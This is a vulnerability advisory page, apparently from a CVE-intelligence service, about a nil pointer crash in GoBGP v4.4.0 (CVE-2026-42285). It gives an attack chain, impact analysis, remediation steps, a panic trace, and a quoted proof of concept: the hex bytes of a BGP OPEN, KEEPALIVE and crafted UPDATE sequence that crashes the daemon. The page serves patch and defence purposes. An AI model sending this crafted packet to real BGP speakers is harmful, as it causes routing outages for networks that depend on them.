GoBGP CVE-2026-42285
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconEstablish BGP session on TCP 179
-
DeliverySend OPEN and negotiate parameters
-
ExploitReach ESTABLISHED state via KEEPALIVE
-
InstallCraft UPDATE with malformed attribute lengths
-
C2Trigger nil pointer in AdjRib.Update
-
ExecuteSIGSEGV panic terminates process
-
ImpactComplete BGP service outage
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Null pointer safety, defensive checks
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to establish a BGP session with the target GoBGP v4.4.0 instance, which necessitates network-level reachability to TCP port 179 and successful BGP OPEN message negotiation. In typical Internet peering scenarios, this means the attacker must either: be configured as a legitimate BGP peer (via router configuration allowing the attacker's AS or IP), compromise an existing trusted peer's infrastructure, perform man-in-the-middle attacks on BGP session traffic, or gain access to a network segment where the GoBGP port is exposed. Many production deployments restrict BGP sessions to specific peer IPs and enforce TCP MD5 authentication, which would prevent unauthorized session establishment but not exploitation by compromised legitimate peers. The vulnerability is triggered during the ESTABLISHED state (post-handshake), so initial session authentication does not prevent exploitation once a session exists. No special GoBGP feature flags or non-default configurations are required - all v4.4.0 deployments processing BGP UPDATE messages are vulnerable. The attack succeeds regardless of the routing policies, address families configured, or whether add-path is enabled. The nil dereference occurs in core UPDATE processing code, not feature-specific paths. Limiting factor: the attacker must be able to send TCP packets to port 179 and complete BGP session establishment, which typically requires being on a trusted network segment or being explicitly configured as a peer. |
| Impact | This vulnerability presents critical risk to production BGP infrastructure despite moderate CVSS severity. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H accurately reflects the attack characteristics: network-accessible, low complexity, no authentication required, no user interaction, and high availability impact. EPSS and KEV data are not provided, but the availability of working POC code (detailed packet sequence in GitHub advisory) significantly lowers the exploitation barrier. The attack requires only the ability to establish a BGP session with the target, which in typical deployments means the attacker must be on a network segment that can reach TCP port 179 on the GoBGP instance or be configured as a legitimate BGP peer. This limits opportunistic Internet-wide exploitation but enables abuse by malicious peering partners, compromised adjacent network equipment, or attackers with man-in-the-middle position on peering links. The complete process crash (not just session reset) means a single malformed packet causes total service outage, potentially disrupting routing for entire networks. BGP is critical infrastructure - a successful attack cascades to loss of reachability for all prefixes managed by the affected GoBGP instance. The fix is available in v4.5.0 with confirmed commit references, and the straightforward upgrade path reduces residual risk. Organizations running GoBGP v4.4.0 should treat this as an emergency patch priority if the instance accepts BGP sessions from any untrusted peers or operates in environments where BGP session authentication (TCP-AO/MD5) is not enforced. |
| Exploit ScenarioDerived | An external attacker identifies a GoBGP v4.4.0 instance via Internet scanning on TCP port 179 or through publicly available BGP peering information. The attacker establishes a BGP session by sending a valid OPEN message (as shown in POC: autonomous system number 0xFDEA, IP 192.168.31.195). Once the session reaches ESTABLISHED state (confirmed by KEEPALIVE exchange), the attacker transmits the crafted UPDATE message from the POC containing malformed attribute length fields (hex payload: ff ff ff ... 80 00). The GoBGP server's decoder detects the attribute length inconsistency, logs 'attribute value length is short', and attempts to process the message as a route withdrawal. However, the internal path object is nil due to incomplete error handling. When execution reaches AdjRib.Update at adj.go:127, the code dereferences the nil pointer, triggering SIGSEGV. The entire GoBGP process terminates with panic, causing immediate loss of all BGP sessions and removal of advertised routes from the routing table. Downstream routers detect the peering failure and reroute traffic, potentially causing network instability or outages depending on redundancy. The attack requires no special privileges beyond network connectivity to the BGP port and completes in milliseconds. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
GoBGP v4.4.0 crashes with SIGSEGV panic when an unauthenticated remote BGP peer sends malformed UPDATE messages with inconsistent attribute lengths. The nil pointer dereference in AdjRib.Update (adj.go:127) causes complete process termination and loss of BGP service. Publicly available exploit code exists (POC in GitHub advisory GHSA-p3w2-64xm-833j). Vendor-released patch available in v4.5.0. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects the trivial remote exploitation of critical network infrastructure with no mitigating factors.
RemediationAI
Upgrade immediately to GoBGP v4.5.0 or later from https://github.com/osrg/gobgp/releases/tag/v4.5.0. The release notes confirm commit 4d098c9048c54efd5520b4f5c75fd8e69feefab1 and subsequent fixes address the nil pointer dereference. The upgrade process involves replacing the GoBGP binary and restarting the service; BGP sessions will re-establish automatically, but expect brief routing convergence delays during restart. If immediate upgrade is not feasible, implement strict BGP peer filtering to accept sessions only from explicitly trusted autonomous systems with verified identities, and enforce BGP session authentication using TCP MD5 signatures (RFC 2385) or TCP-AO (RFC 5925) on all peering sessions. Note that authentication only prevents unauthorized peers from connecting - it does not prevent a compromised legitimate peer from exploiting the vulnerability. Deploy network-level access controls (firewall rules) to restrict TCP port 179 access exclusively to known BGP peer IP addresses. Monitor GoBGP process health with automatic restart mechanisms (systemd watchdog, supervisord) to minimize downtime if exploitation occurs, but recognize this is a mitigation of impact, not prevention of the underlying vulnerability. Log all BGP session establishments and unexpected process terminations for incident detection. These workarounds carry operational overhead and do not eliminate risk; vendor patch is the only complete remediation.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
GoBGP is a BGP (Border Gateway Protocol) implementation written in Go, used for routing table management in network infrastructure. The vulnerability (CWE-476: NULL Pointer Dereference) occurs during BGP UPDATE message processing when the packet decoder encounters malformed path attributes. RFC 4271 requires BGP implementations to validate UPDATE message attribute lengths before processing. When GoBGP receives attributes with invalid lengths (e.g., 'attribute value length is short'), the validation logic correctly flags the error and logs a warning, intending to treat the message as a withdrawal. However, the error handling path fails to properly initialize or null-check the internal path representation before passing it to the Adjacency Routing Information Base (Adj-RIB) update function. The Adj-RIB maintains per-peer routing state, and at line 127 of internal/pkg/table/adj.go, the Update method attempts to dereference a structure member on the nil path object without validation, triggering a segmentation fault (SIGSEGV). The panic propagates through the goroutine handling the BGP finite state machine (FSM), terminating the entire GoBGP server process rather than just resetting the affected peer session. The affected package is github.com/osrg/gobgp/v4, specifically version 4.4.0, as identified by CPE pkg:go/github.com_osrg_gobgp_v4.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/osrg/gobgp).
CVSS VectorVendor: https://github.com/osrg/gobgp
DescriptionCVE.org
Summary
Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.
Details
The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.
Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw.
Code Path:
The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.
Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.
The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.
The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.
Log Snippet:
{"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]
goroutine 52 [running]:
github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})
/home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8
github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)
/home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)
/home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
/home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5
PoC
[SEND] OPEN
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00
[RECV] Type: 1 | Length: 77
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02
[+] Received OPEN from peer
[SEND] KEEPALIVE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[RECV] Type: 4 | Length: 19
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[+] BGP Session Established
[SEND] Crafted UPDATE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00
[*] Waiting for peer reaction...
[+] Done.Impact
Remote Denial of Service (DoS) in GoBGP v4.4.0
Executive ViewAI
GoBGP versions prior to 4.5.0 are vulnerable to remote denial of service attacks where unauthenticated BGP peers can crash the routing daemon by sending malformed UPDATE messages, causing immediate loss of BGP service and potential network outages. Organizations running GoBGP 4.4.0 or earlier face risk of unplanned service interruption affecting all downstream routing and connectivity dependent on that BGP instance.
Vendor-released patch: v4.5.0. Until patched: (1) Restrict BGP sessions to pre-authenticated, known peer IP addresses via access control lists; (2) Deploy BGP session monitoring and automatic restart/alerting for abnormal terminations; (3) Implement network segmentation to isolate BGP infrastructure and limit blast radius of service loss; (4) Maintain redundant BGP speakers with failover capability to mitigate single-instance crashes.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
A null pointer dereference occurs when a program attempts to access memory through a pointer that has been set to NULL (address 0x0).
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
GHSA-p3w2-64xm-833j
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB